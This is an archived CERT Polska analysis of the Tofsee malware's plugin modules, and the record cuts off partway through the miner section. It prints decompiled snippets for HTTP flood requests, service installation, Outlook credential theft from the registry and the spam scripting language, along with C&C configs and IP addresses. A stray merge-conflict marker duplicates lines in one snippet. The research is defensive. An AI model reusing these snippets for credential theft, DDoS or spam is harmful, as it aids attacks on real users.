{
	"id": "34afd533-8bca-428f-a783-5da2a72f92f5",
	"created_at": "2026-04-06T00:17:50.742299Z",
	"updated_at": "2026-04-10T03:20:59.106705Z",
	"deleted_at": null,
	"sha1_hash": "b0fe2728d70e44a81bdd4c5ecf6918a5f2519ae9",
	"title": "A deeper look at Tofsee modules",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 352789,
	"plain_text": "A deeper look at Tofsee modules\r\nArchived: 2026-04-05 22:37:10 UTC\r\nTofsee is a multi-purpose malware with wide array of capabilities – it can mine bitcoins, send emails, steal\r\ncredentials, perform DDoS attacks, and more. All of this is possible because of its modular nature.\r\nWe have already published about Tofsee/Gheg a few months ago – https://www.cert.pl/en/news/single/tofsee-en. Reading or at least skimming it is probably required to fully understand this post. Note that it is meant as\r\nan extension of that research, focusing on plugin functionality that we previously ignored. We will shortly\r\nsummarize each plugin and highlight its most important features.\r\nThe post is rather long – for the impatient, list of hashes and table of contents in one:\r\nResource Id DLL name DLL MD5 hash\r\n1 ddosR.dll fbc7eebe4a56114e55989e50d8d19b5b\r\n2 antibot.dll a3ba755086b75e1b654532d1d097c549\r\n3 snrpR.dll 385b09563350897f8c941b47fb199dcb\r\n4 proxyR.dll 4a174e770958be3eb5cc2c4a164038af\r\n5 webmR.dll 78ee41b097d402849474291214391d34\r\n6 protect.dll 624c5469ba44c7eda33a293638260544\r\n7 locsR.dll 2d28c116ca0783046732edf4d4079c77\r\n10 hostR.dll c90224a3f8b0ab83fafbac6708b9f834\r\n11 text.dll 48ace17c96ae8b30509efcb83a1218b4\r\n12 smtp.dll 761e654fb2f47a39b69340c1de181ce0\r\n13 blist.dll e77c0f921ef3ff1c4ef83ea6383b51b9\r\n14 miner.dll 47405b40ef8603f24b0e4e2b59b74a8c\r\n15 img.dll e0b0448dc095738ab8eaa89539b66e47\r\n16 spread.dll 227ec327fe7544f04ce07023ebe816d5\r\n17 spread2.dll 90a7f97c02d5f15801f7449cdf35cd2d\r\n18 sys.dll 70dbbaba56a58775658d74cdddc56d05\r\n19 webb.dll 8a3d2ae32b894624b090ff7a36da2db4\r\n20 p2p.dll e0061dce024cca457457d217c9905358\r\n1. ddosR.dll\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 1 of 31\n\nOriginal filename: p:\\cmf5\\small2\\plugins\\plg_ddos\\ddos.cpp\r\nThis plugin can perform DDOS attacks. Implemented attacks are not very complicated, for example request\r\nspamming (HTTP Flood):\r\nif ( get_or_post == 'G' )\r\n{\r\nwnsprintfA(a9, a10, \"GET %s%s%s\", v88, v89, v90);\r\ndo_request(a9, a10, a7, 'G', a13, a14);\r\nv24 = (char *)(a9 - 1);\r\ndo\r\nv25 = (v24++)[1];\r\nwhile ( v25 );\r\nqmemcpy(\r\nv24,\r\n\" HTTP/1.1\\r\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\\r\\n\",\r\n109u);\r\n}\r\nelse\r\n{\r\nwnsprintfA(a9, a10, \"POST %s%s%s HTTP/1.1\\r\\nAccept: */*\\r\\n\", v88, v89, v90);\r\n}\r\nOr plain old SYN flood (using PassThru driver, aka grabb module).\r\nWe haven’t observed any DDoS activity from Tofsee yet, so this plugin is probably not used by the botmaster.\r\nConfiguration from the C\u0026C for this plugin is very simple:\r\n\"ddos\": [\r\n\"http://www.coolcat-casino.com/online-casino-rules.php\"\r\n]\r\nThe binary contains a lot of strings, what simplifies analysis greatly:\r\n\\\\.\\PassThru\r\nhttp%s://%s%s%s%s%s\r\nContent-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Type: multipart/form-data; boundary=\r\nContent-Disposition: form-data; name=\"%s\"\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\nHost:\r\nUser-Agent: Mozilla/5.0 (\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 2 of 31\n\nReferer:\r\nPOST %s%s%s HTTP/1.1\r\nAccept: */*\r\nHTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\nGET %s%s%s\r\n2. antibot.dll\r\nOriginal filename: z:\\cmf5\\small2\\plugins\\plg_antibot\\plugin.cpp\r\nNow, this is an interesting plugin, because it removes other malware from victim’s computer.\r\nIt can:\r\nenumerate processes and kill ones that may be dangerous (search by configured names)\r\nsearch SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\r\nregistry branch, and remove bad browser helper objects\r\nenumerate mutexes and kill processes that own them (search by mutex names).\r\nList of browser helper objects removed by this module (downloaded from C\u0026C):\r\n{06849E9F-C8D7-4D59-B87D-784B7D6BE0B3}\r\n{22BF413B-C6D2-4d91-82A9-A0F997BA588C}\r\n{2F364306-AA45-47B5-9F9D-39A8B94E7EF7}\r\n{E31CE47F-C268-41ba-897B-B415E613947D}\r\n{F156768E-81EF-470C-9057-481BA8380DBA}\r\n{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\r\n{9030D464-4C02-4ABF-8ECC-5164760863C6}\r\n{9394EDE7-C8B5-483E-8773-474BF36AF6E4}\r\n{955BE0B8-BC85-4CAF-856E-8E0D8B610560}\r\n{AA58ED58-01DD-4d91-8333-CF10577473F7}\r\n{AF69DE43-7D58-4638-B6FA-CE66B5AD205D}\r\n{BDBD1DAD-C946-4A17-ADC1-64B5B4FF55D0}\r\n{761497BB-D6F0-462C-B6EB-D4DAF1D92D43}\r\n{2E3C3651-B19C-4DD9-A979-901EC3E930AF}\r\n{1017A80C-6F09-4548-A84D-EDD6AC9525F0}\r\n{4f3ed5cd-0726-42a9-87f5-d13f3d2976ac}\r\n{C451C08A-EC37-45DF-AAAD-18B51AB5E837}\r\n{5CA3D70E-1895-11CF-8E15-001234567890}\r\n{3049C3E9-B461-4BC5-8870-4C09146192CA}\r\n{02478D38-C3F9-4efb-9B51-7695ECA05670}\r\n{000123B4-9B42-4900-B3F7-F4B073EFC214}\r\n{7E853D72-626A-48EC-A868-BA8D5E23E045}\r\n3. snrpR.dll\r\nOriginal filename: p:\\\\cmf5\\\\small2\\\\plugins\\\\plg_sniff\\\\sniff.cpp\r\nRelated config section:\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 3 of 31\n\n'sniffcfg': {\r\n'ftp.sniff': '1',\r\n'mail.replace': '0',\r\n'mail.sniff': '0',\r\n'mx.name': 'mailc.microsoft.com',\r\n'mx.replace': '0',\r\n'pop.sniff': '1',\r\n'sniff': '1'\r\n}\r\nCommunication is sniffed and replaced using PassThru driver (accessible through named pipe\r\n“\\\\\\\\.\\\\PassThru”)\r\nmail.sniff enables stealing mail addresses from incoming e-mails. Mail addresses are stolen\r\nfrom “From” and “To” fields. It also looks for entities “%40″,”#64″,”#064” in content (looking\r\nfor “@” char).\r\nftp.sniff and pop.sniff enables POP3 and FTP credentials stealing. The plugin is looking for\r\n“user” and “pass” protocol commands, gets authentication data and sends through Passthru\r\ndriver.\r\nmail.replace functionality replaces incoming e-mails using a specified template (stored in\r\n‘mailbody’ key of config)\r\nTemplate example that we received (despite this function being turned off right now):\r\nMessage-ID: \u003c%OUTLOOK_MID\u003e\r\n%FROM_LINE\r\n%TO_LINE\r\nSubject: how are you?\r\nDate: %DATE\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\nformat=flowed;\r\ncharset=\"windows-1251\";\r\nreply-type=original\r\nContent-Transfer-Encoding: 7bit\r\nX-Priority: 3\r\nX-MSMail-Priority: Normal\r\nX-Mailer: Microsoft Outlook Express 6.02\r\nX-MimeOLE: Produced By Microsoft MimeOLE V6.02\r\nHi there. how are you today?\r\nIt leaves original “From” and “To” headers (%FROM_LINE, %TO_LINE), has the ability to leave original\r\nsubject (%SUBJ, %_SUBJ), and original timestamps (%DATE, %P5DATE, %M5DATE).\r\n4. proxyR.dll\r\nOriginal filename: p:\\\\cmf5\\\\small2\\\\plugins\\\\plg_proxy\\\\plugin.cpp\r\nThis plugin listens for TCP connections on 0.0.0.0:1080 and provides multithreaded SOCKS proxy server.\r\nThe sample we analyzed identifies itself in Proxy-Agent HTTP header as WinRoute Pro/4.1.\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 4 of 31\n\nTraffic is redirected to addresses specified at a proxy_cfg section, separately for each region.\r\n'proxy_cfg': {\r\n'CN.max_threads': '128',\r\n'CN.min_threads': '1',\r\n'CN.num_services': '2',\r\n'CN.percent_of_online': '100',\r\n'CN.release_unused_thr_after': '60',\r\n'CN.service00': '$ws0008',\r\n'CN.service01': '$ws0009',\r\n...\r\n'servers': 'USA;MIX;EU;CN;RU',\r\n},\r\nAddresses are specified as a reference to a work_srv list or directly.\r\n'USA.service02': '$ws000F',\r\n'USA.service03': '103.248.21.83:+1000',\r\n(...)\r\n'work_srv000F': [\r\n('189.7.58.16', 8886),\r\n('179.198.128.15, 7894),\r\n('14.184.98.134', 5697),\r\n('200.158.166.194', 5371)\r\n]\r\nIn proxy_cfg we can also find some defined timeouts for a socket.\r\n'client.timeout_connect': '30',\r\n'client.timeout_read': '60',\r\n'client.timeout_write': '60',\r\n'server.sleep_connect': '30',\r\n'server.timeout_connect': '30',\r\n'server.timeout_read': '60',\r\n'server.timeout_write': '60',\r\n'target.timeout_connect': '30',\r\n'target.timeout_read': '60',\r\n'target.timeout_write': '60',\r\n'version': '8'\r\nWhen any value is missing in configuration, binary has some sane defaults inside.\r\nPlugin also adds port mapping using UPNP, disguising itself as Skype:\r\nv31 = SysAllocString(L\"Skype\");\r\nSafeArrayPutElement(psa, \u0026rgIndices, \u0026pv);\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 5 of 31\n\n++rgIndices;\r\npv = 19;\r\nv31 = 0;\r\nSafeArrayPutElement(psa, \u0026rgIndices, \u0026pv);\r\n++rgIndices;\r\nv27 = 0;\r\nv26 = 0;\r\npv = 24588;\r\nv31 = \u0026psa;\r\nif ( (*(int (__stdcall **)(int *, const wchar_t *, _DWORD, int, SAFEARRAY **, int, _DWORD,\r\n_DWORD))(*v39 + 32))(\r\nv39,\r\nL\"AddPortMapping\",\r\n*(_DWORD *)\u0026pv,\r\nv30,\r\n\u0026psa,\r\nv32,\r\n0,\r\n0) \u003c 0 )\r\n{\r\n// ...\r\n}\r\nif ( CoCreateInstance(\u0026rclsid, 0, 1u, \u0026riid, \u0026ppv) \u003e= 0 \u0026\u0026 ppv )\r\n{\r\nv5 = SysAllocString(L\"urn:schemas-upnp-org:device:InternetGatewayDevice:1\");\r\n// ...\r\n}\r\nStrings from the binary give a little more insight about the purpose of this plugin:\r\nCONN_STAT %s %u %d %d\\n\r\nBC_STAT %s %d %u %ld\\n\r\nBC_STAT ws%02X %d %u %ld\\n\r\nhooked: %d (%08X)\\n\r\nPlugin restarted\\n\r\nProxyLogV02 %6d (%3d) %s\\n\r\nProxyLogV02 There are %d not autorithed connections in black list\\n\r\nProxyLogV01 %s:%d\\n\r\nProxyLogV01 Proxy Work (\u003cwork flag\u003e / \u003cserver thread\u003e / \u003cusage\u003e / \u003cserver state\u003e) = %d / %d / %d\r\n/ %d\\n\r\nProxyLogV01 AddPortToRoute returned (\u003cno error\u003e / \u003cvalue\u003e) = %d / %d\\n\r\nProxyLogV01 Clients configured = %d\\n\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 6 of 31\n\nProxyLogV01 Channels (\u003call\u003e / \u003cavg per %d sec\u003e / \u003cnow\u003e) = %d / %d / %d\\n\r\nProxyLogV01 All data transfered = %u\\n\r\nProxyLogV01 Connects (\u003call\u003e / \u003cavg per %d sec\u003e) = %d / %d\\n\r\nProxyLogV01 Clients limits = %d\\n\r\nProxyLogV01 Threads limits = %d\\n\r\nProxyLogV01 No in White List = %d\\n\r\nProxyLogV01 Connects errors = %d\\n\r\nProxy-Connection\r\nConnection: close\\r\\n\r\n\\nHost:\r\nHTTP/1.%c 404 Not Found\\r\\nProxy-agent: WinRoute Pro/4.1\\r\\n\\r\\n\r\nHTTP/1.\r\nCONNECT\r\n!!!proxy_stop!!!\\n\r\nPlugin destroy\\n\r\nHTTP/1.%c 406 Not Acceptable\\r\\nProxy-agent: WinRoute Pro/4.1\\r\\n\\r\\n\r\nHTTP/1.%c 200 OK\\r\\nProxy-agent: WinRoute Pro/4.1\\r\\n\\r\\n\r\nproxy_port\r\n!!!proxy_start!!!\\n\r\nDeletePortMapping\r\nAddPortMapping\r\nSkype\r\nurn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n6. protect.dll\r\nOriginal filename: z:\\cmf5\\small2\\plugins\\plg_protect\\plugin.cpp\r\nThis plugin downloads and installs malicious service in system:\r\nhSCManager = OpenSCManagerA(0, 0, 0xF003Fu);\r\nv1 = OpenServiceW(hSCManager, (LPCWSTR)ServiceName, 0xF01FFu);\r\nif ( !v1 ) {\r\nv1 = CreateServiceW(\r\nhSCManager,\r\n(LPCWSTR)ServiceName,\r\n0,\r\n0xF01FFu,\r\n1u, 3u, 0,\r\n(LPCWSTR)\u0026BinaryPathName,\r\n0, 0, 0, 0, 0);\r\nif ( !v1 )\r\ngoto LABEL_6;\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 7 of 31\n\n}\r\nif ( !StartServiceA(v1, 0, 0) ) {\r\nCloseServiceHandle(v1);\r\nLABEL_6:\r\nDeleteFileW((LPCWSTR)\u0026BinaryPathName);\r\nreturn 0;\r\n}\r\nMalicious service binary is obfuscated with “state-of-the-art encryption algorithm” – i.e. negating every byte:\r\ndo\r\n{\r\nencrypted_binary[result] = ~encrypted_binary[result];\r\n++result;\r\n}\r\nwhile ( result \u003c 0x9CC0 );\r\nif ( WriteFile(v9, encrypted_binary, 0x9CC0u, \u0026NumberOfBytesWritten, 0) ) {\r\nv8 = 1;\r\n}\r\nMd5 of decrypted backdoor = 49642f1d1b1673a40f5fa6263a66d056. This file is protected by packer, and it’s\r\nthe only packed binary that we observed during our analysis of Tofsee – it suggests that the binary could’ve\r\nbeen created by another actor and reused in Tofsee.\r\n7. locsR.dll\r\nOriginal filename: z:\\cmf5\\cmf5\\small2\\plugins\\plg_locs\\plg.cpp\r\nThis plugin steals network credentials for Microsoft Outlook:\r\nv14 = RegEnumKeyExA(phkResult, dwIndex, \u0026Name, \u0026cchName, 0, 0, 0, \u0026ftLastWriteTime);\r\nlstrcpyA(\u0026String1, \"Software\\\\Microsoft\\\\Internet Account Manager\\\\Accounts\");\r\nlstrcatA(\u0026String1, \"\\\\\");\r\nlstrcatA(\u0026String1, \u0026Name);\r\nRegOpenKeyExA(HKEY_CURRENT_USER, \u0026String1, 0, 0xF003Fu, \u0026hKey);\r\ncbData = 150;\r\nresult = RegQueryValueExA(hKey, \"POP3 User Name\", 0, \u0026Type, Data, \u0026cbData);\r\nif ( !result )\r\n{\r\nlstrcpyA((LPSTR)(a1 + 608 * *v2), (LPCSTR)Data);\r\nsub_17002F28(Data, 150);\r\ncbData = 150;\r\nRegQueryValueExA(hKey, \"SMTP Server\", 0, \u0026Type, Data, \u0026cbData);\r\nlstrcpyA((LPSTR)(608 * *v2 + a1 + 500), (LPCSTR)Data);\r\nsub_17002F28(Data, 150);\r\n\u003c\u003c\u003c\u003c\u003c\u003c\u003c HEAD\r\ncbData = 150;\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 8 of 31\n\nRegQueryValueExA(hKey, \"SMTP Display Name\", 0, \u0026Type, Data, \u0026cbData);\r\nlstrcpyA((LPSTR)(608 * *v2 + a1 + 200), (LPCSTR)Data);\r\nsub_17002F28(Data, 150);\r\ncbData = 150;\r\n=======\r\ncbData = 150;\r\nRegQueryValueExA(hKey, \"SMTP Display Name\", 0, \u0026Type, Data, \u0026cbData);\r\nlstrcpyA((LPSTR)(608 * *v2 + a1 + 200), (LPCSTR)Data);\r\nsub_17002F28(Data, 150);\r\ncbData = 150;\r\n\u003e\u003e\u003e\u003e\u003e\u003e\u003e piotrb/Blog-tofsee\r\nRegQueryValueExA(hKey, \"SMTP Email Address\", 0, \u0026Type, Data, \u0026cbData);\r\nlstrcpyA((LPSTR)(608 * *v2 + a1 + 400), (LPCSTR)Data);\r\nsub_17002F28(Data, 150);\r\ncbData = 150;\r\nif ( RegQueryValueExA(hKey, \"POP3 Password2\", 0, \u0026Type, Data, \u0026cbData) )\r\n{\r\nv4 = a1;\r\n*(_BYTE *)(608 * *v2 + a1 + 300) = 0;\r\n}\r\n// ...\r\n}\r\n// ...\r\nAfter extracting them from the registry, they are decrypted and used to send more emails. Additionally, it\r\ngenerates email in form [computer name]@mail.ru and attempts to send emails using it (with raw SMTP\r\nprotocol).\r\nStrings from binary:\r\n@mail.ru\r\nlocalcfg\r\nrresolv\r\nc:\\log_%s.txt\r\nPOP3 Password2\r\nSMTP Email Address\r\nSMTP Display Name\r\nSMTP Server\r\nPOP3 User Name\r\nSoftware\\Microsoft\\Internet Account Manager\\Accounts\r\n220d5cc1\r\nPStoreCreateInstance\r\npstorec.dll\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 9 of 31\n\n__outlook__%s:%s:%s:%s\r\n10. hostR.dll\r\nThis is HTTP server plugin. It masquerades as Apache/2.2.15 (Win32). It can serve files, probably for other\r\nbots.\r\nIt is able to blacklist some IPs – probably security analysts (for example Forcepoint and Google are banned).\r\nConfiguration for this module, fetched from the C\u0026C:\r\n'host_cfg': {\r\n'client.deny':\r\n'208.80.192.0/21;66.249.64.0/19;66.102.0.0/20;63.251.175.215/32;216.163.188.0/24;211.249.40.0/21;104.156.228.182/32;64.38.116.99/32;2\r\n'client.timeout_connect': '15',\r\n'client.timeout_read': '30',\r\n'client.timeout_write': '30',\r\n'servers': '93.190.143.216:452;93.190.143.216:453;93.190.143.216:454',\r\n'version': '2'\r\n},\r\n11. text.dll\r\nOriginal filename: p:\\cmf5\\small2\\plugins\\plg_text\\plg_text.cpp\r\nVery short plugin, it is able to process email templates downloaded from C\u0026C.\r\n12. smtp.dll\r\nVery important module – it generates and sends emails. It’s probably biggest module and code is rather\r\ncomplicated sometimes.\r\nMost interesting thing about it is the fact that it uses its own dedicated scripting language for generating\r\nmessages. Script example, received from C\u0026C:\r\n- GmMxSend\r\nv SRV alt__M(%RND_NUM[1-4])__.gmail-smtp-in.l.google.com\r\nU L_SKIP_5 5 __M(%RND_NUM[1-5])__\r\nv SRV gmail-smtp-in.l.google.com\r\nL L_SKIP_5\r\nC __v(SRV)__:25\r\nR\r\nS mx_smtp_01.txt\r\no ^2\r\nm %FROM_DOMAIN __A(4|__M(%HOSTS)__)__\r\nW \"\"\"EHLO __A(3|__M(%{mail}{smtp}%RND_NUM[1-4].%FROM_DOMAIN)__)__\\r\\n\"\"\"\r\nR\r\nS mx_smtp_02.txt\r\no ^2 ^3\r\nL L_NEXT_BODY\r\nv MI 0\r\n- m %FROM_EMAIL __M(%FROM_USER)__@__M(%FROM_DOMAIN)__\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 10 of 31\n\nW \"\"\"MAIL From:\u003c__M(%FROM_EMAIL)__\u003e\\r\\n\"\"\"\r\nR\r\nS mx_smtp_03.txt\r\nI L_QUIT ^421\r\no ^2 ^3\r\nL L_NEXT_EMAIL\r\nU L_NO_MORE_EMAILS @ __S(TO|__v(MI)__)__\r\nW \"\"\"RCPT To:\u003c__l(__S(TO|__v(MI)__)__)__\u003e\\r\\n\"\"\"\r\nR\r\nS mx_smtp_04.txt\r\nI L_OTLUP ^550\r\nI L_TOO_MANY_RECIP ^452\r\no ^2 ^3\r\nv MI __A(1|__v(MI)__,+,1)__\r\nu L_NEXT_EMAIL 1 __A(1|__v(MI)__,\u003c,1)__ L L_NO_MORE_EMAILS u L_NOEMAILS 0\r\n__A(1|__v(MI)__,\u003e,0)__\r\nW \"\"\"DATA\\r\\n\"\"\"\r\nR\r\nS mx_smtp_05.txt\r\no ^2 ^3\r\nm %SS1970H __P(__t(126230445)__|16)__\r\nm %TO_EMAIL \"\"\"\u003c__l(__S(TO|0)__)__\u003e\"\"\"\r\nm %TO_NAME __S(TONAME|0)__\r\nW \"\"\"__S(BODY)__\\r\\n.\\r\\n\"\"\"\r\nR\r\nS mx_smtp_06.txt\r\nI L_SPAM ^550\r\no ^2 ^3\r\n+ m\r\nH TO -1 OK\r\nJ L_NEXT_BODY\r\nL L_OTLUP\r\n+ h\r\nh \"\"\"Delivery to the following recipients failed. __l(__S(TO|__v(MI)__)__)__\"\"\"\r\nH TO __v(MI)__ HARD\r\nJ L_NEXT_EMAIL\r\nL L_TOO_MANY_RECIP\r\nH TO __v(MI)__ FREE\r\nJ L_NO_MORE_EMAILS\r\nL L_QUIT\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 11 of 31\n\nW \"\"\"QUIT\\r\\n\"\"\"\r\nR\r\nS mx_smtp_07.txt\r\no ^2 ^3\r\nL L_NOEMAILS\r\nE 1\r\nL L_SPAM\r\n+ A\r\nH TO -1 FREE\r\no ^2 ^3\r\nIf someone recognizes this as a real scripting language, we’d be grateful for the information. We have never\r\nseen something like this, so we analyzed interpreter of this language.\r\nThe syntax is rather simple, but very assemblish and primitive. We hope that malware authors are generating\r\nthis scripts from a higher level language because writing something like this must really hurt one’s sanity ;].\r\nA lot of opcodes are supported – take a look at this (simplified) parsing function for example:\r\nsigned int parse_line(char *line, opcode *a2) {\r\nlen = 0;\r\nif (*line) {\r\nopcode = a2;\r\nwhile (true) {\r\nopcode-\u003ecommand = *line;\r\nswitch (*line)\r\n{\r\ncase '+':\r\ncase 'E':\r\ncase 'J':\r\ncase 'L':\r\ncase 'N':\r\ncase 'O':\r\ncase 'Q':\r\ncase 'S':\r\ncase 'T':\r\ncase 'W':\r\ncase 'Z':\r\ncase 'b':\r\ncase 'e':\r\ncase 'l':\r\ncase 'o':\r\n// opcodes with 1 parameter\r\nline = parse_call((int)line, \" \", 1, opcode);\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 12 of 31\n\nbreak;\r\ncase '-':\r\nv6 = line + 2;\r\nopcode-\u003enum_parameters = 1;\r\nopcode-\u003epchar4 = v6;\r\nv7 = (_BYTE *)strcontains(v6, '\\n');\r\nif ( !v7 )\r\ngoto ERROR;\r\nif ( *(v7 - 1) == '\\r' )\r\n*(v7 - 1) = 0;\r\n*v7 = 0;\r\nline = v7 + 1;\r\nbreak;\r\ncase 'B':\r\ncase 'I':\r\ncase 'Y':\r\ncase 'i':\r\ncase 'm':\r\ncase 'p':\r\ncase 'v':\r\n// opcodes with 2 parameters\r\nline = parse_call((int)line, \" \", 2, opcode);\r\nbreak;\r\ncase 'C':\r\ncase 'R':\r\ncase 'h':\r\n// parameterless opcodes\r\nline = parse_call((int)line, \" \", 0, opcode);\r\nbreak;\r\ncase 'H':\r\ncase 'U':\r\ncase 'u':\r\n// opcodes with 3 parameters\r\nline = parse_call((int)line, \" \", 3, opcode);\r\nbreak;\r\ncase 'X':\r\ncase 'c':\r\ncase 'r':\r\ncase 'x':\r\nv8 = strcontains(line + 1, '\\n');\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 13 of 31\n\nif ( !v8 )\r\ngoto ERROR;\r\nopcode-\u003enum_parameters = 0;\r\nline = (char *)(v8 + 1);\r\nopcode-\u003epchar4 = 0;\r\nbreak;\r\ndefault:\r\ngoto ERROR;\r\n}\r\nif ( !line )\r\nbreak;\r\n++len;\r\n++opcode;\r\nif ( !*line )\r\ngoto OK;\r\n}\r\nERROR:\r\nresult = 0;\r\n}\r\nelse\r\n{\r\nOK:\r\n*(_DWORD *)\u0026a2[256].command = len;\r\na2[len].command = 0;\r\nv9 = 0;\r\n// (... snip ...)\r\nresult = 1;\r\n}\r\nreturn result;\r\n}\r\nWe didn’t reverse all of them, but few most important ones are:\r\nC ip:port – Connect\r\nL lbl – Create Label lbl.\r\nJ lbl – Jump to label lbl.\r\nv name value – Create variable name and assign value value.\r\nW text – Write something to output – in this case to final email.\r\nI lbl condition – If condition is satisfied than jump to lbl\r\nAdditionally wrapping text in “”” allows for newlines and escape sequences in it, and __v(XX)__ is a variable\r\ninterpolation.\r\nAgain, few from the most interesting strings from that binary:\r\n%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u\r\n{/qp}\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 14 of 31\n\nIfYouAreReadingThisYouHaveTooMuchFreeTime\r\n%s@%s\r\nwhois://\r\nwhois.apnic.net\r\nwhois.afrinic.net\r\nwhois.ripe.net\r\nwhois.lacnic.net\r\nOrgAbuseEmail:\r\nRTechEmail:\r\nOrgTechEmail:\r\nReferralServer:\r\nwhois.arin.net\r\nwhois.iana.org\r\nwhois:\r\ne-mail:\r\nabuse-mailbox:\r\n% Abuse contact\r\nhooked: %d (%08X)\r\nS%02u%s%s\r\ndns_list\r\ndns_attempts\r\ndns_timeout\r\nInitSecurityInterfaceA\r\nSecur32.dll\r\nSecurity.dll\r\n2.16.840.1.113730.4.1\r\n1.3.6.1.4.1.311.10.3.3\r\n1.3.6.1.5.5.7.3.1\r\nMicrosoft Unified Security Protocol Provider\r\n1.3.6.1.5.5.7.3.2\r\nWe thought that IfYouAreReadingThisYouHaveTooMuchFreeTime is an easter egg for us, malware analysts,\r\nbut it turns out that it’s just a strange quirk related to hotmail authentication.\r\nConfiguration for this module, fetched from C\u0026C:\r\n'psmtp_cfg': {\r\n'dns_attempts': '5',\r\n'dns_list':\r\n'209.244.0.3;209.244.0.4;8.8.8.8;8.8.4.4;8.26.56.26;8.20.247.20;208.67.222.222;208.67.220.220;156.154.70.1;156.154.71.1;199.85.126.10;1\r\n'dns_timeout': '10',\r\n'nthreads': '17',\r\n'send_timeouts': '60',\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 15 of 31\n\n'smtp_server_hotmail': 'smtp.live.com:587',\r\n'timeout_connect': '30',\r\n'timeout_read': '30',\r\n'timeout_write': '30',\r\n'whois_list': '193.0.6.135;185.3.93.80'\r\n}\r\n13. blist.dll\r\nThis plugin checks if a bot is listed as a spambot and blacklisted. In the config we observed following\r\nDNSBLs (DNS-based Blackhole Lists) were supplied:\r\n1:dnsbl.sorbs.net\r\n2:bl.spamcop.net\r\n4:zen.spamhaus.org\r\n8:sbl-xbl.spamhaus.org\r\n16:cbl.abuseat.org\r\nDNSBL is a service based on DNS used for publishing IP addresses of spam senders. If spam server uses\r\nDNSBL filters, it will do a DNS request to DNSBL domain with each incoming SMTP connection. Technical\r\ndetails are outside of the scope of this post, but any interested reader can take a look at\r\nhttp://www.us.sorbs.net/using.shtml or https://en.wikipedia.org/wiki/DNSBL.\r\nChecking DNSBL is implemented with gethostbyname:\r\nip_3 = (unsigned __int8)myip;\r\nip_2 = (unsigned __int16)myip \u003e\u003e 8;\r\nip_1 = (myip \u003e\u003e 16) \u0026 0xFF;\r\nip_0 = myip \u003e\u003e 24;\r\ndo {\r\nv7 = get_nth_elem(v2, a2);\r\nv14 = v7;\r\nblacklist_srv = c_str(\u0026v7-\u003eblacklist_domain);\r\nwsprintfA(\u0026name, \"%u.%u.%u.%u.%s\", ip_0, ip_1, ip_2, ip_3, blacklist_srv);\r\nif ( gethostbyname(\u0026name) )\r\nblacklist_mask += v14-\u003eblacklist_id;\r\n++a2;\r\nv2 = services_list;\r\n}\r\nwhile ( a2 \u003c *(_DWORD *)(services_list + 8) );\r\nConfiguration for this module, fetched from C\u0026C:\r\n'blist_cfg': {\r\n'period': '900',\r\n'services': '1:dnsbl.sorbs.net;2:bl.spamcop.net;4:zen.spamhaus.org;8:sbl-xbl.spamhaus.org;16:cbl.abuseat.org'\r\n}\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 16 of 31\n\n14. miner.dll\r\nThis is (as the name suggests) cryptocurrency miner. This plugin only coordinates the work, but it has few\r\naccompanying binaries, that perform the dirty work.\r\nOne binary, called grabb, is distributed straight from the C\u0026C. Other binaries are downloadable through\r\nURLs specified in configs – in theory. In practice, servers distributing miners seem to be dead, so we were not\r\nable to download miners.\r\nMiner “verifies” that has really downloaded right binary, but hashing was probably too difficult for malware\r\ncreators to implement, so they settled on size verification – for example, they are check that cores_gt_1 binary\r\nhas exactly 223744 bytes.\r\nWe didn’t analyze it in-depth because crypto miners are boring enough, and strings from binary give enough\r\ninformation about inner workings anyway:\r\nLogBuf::AddText: Buffer cleared!\r\nCant send report type=%u size=%u\r\nGET %s HTTP/1.0\r\n%d process killed\r\ncan't load 'psapi.dll'\r\nGetModuleFileNameExA\r\nprocess stopped id=%d\r\nError %d of parsing '%s.ifs' pos %d\r\n'%s' get module error\r\n'%s' urls for download is empty and run command is not miner plugin block\r\n'%s' process started id=%d\r\n'%s' path for download is empty\r\n'%s' can't create pipe '%s' error=0x%08X\r\n'%s' can't create file '%s' error=0x%08X\r\n'%s' can't create event error=0x%08X\r\n'%s' process start error=0x%08X\r\n'%s' no free place in pipes arrey\r\n'%s' hide_process returned %d\r\n'%s' process started miner id=%d\r\n\\\\.\\pipe\\procid_%d\r\n'%s' wrong downloaded size=%d\r\n'%s' conditions false\r\n%d cores found\r\nAnd the rest can be read from the configuration, fetched from C\u0026C:\r\n'miner_cfg': 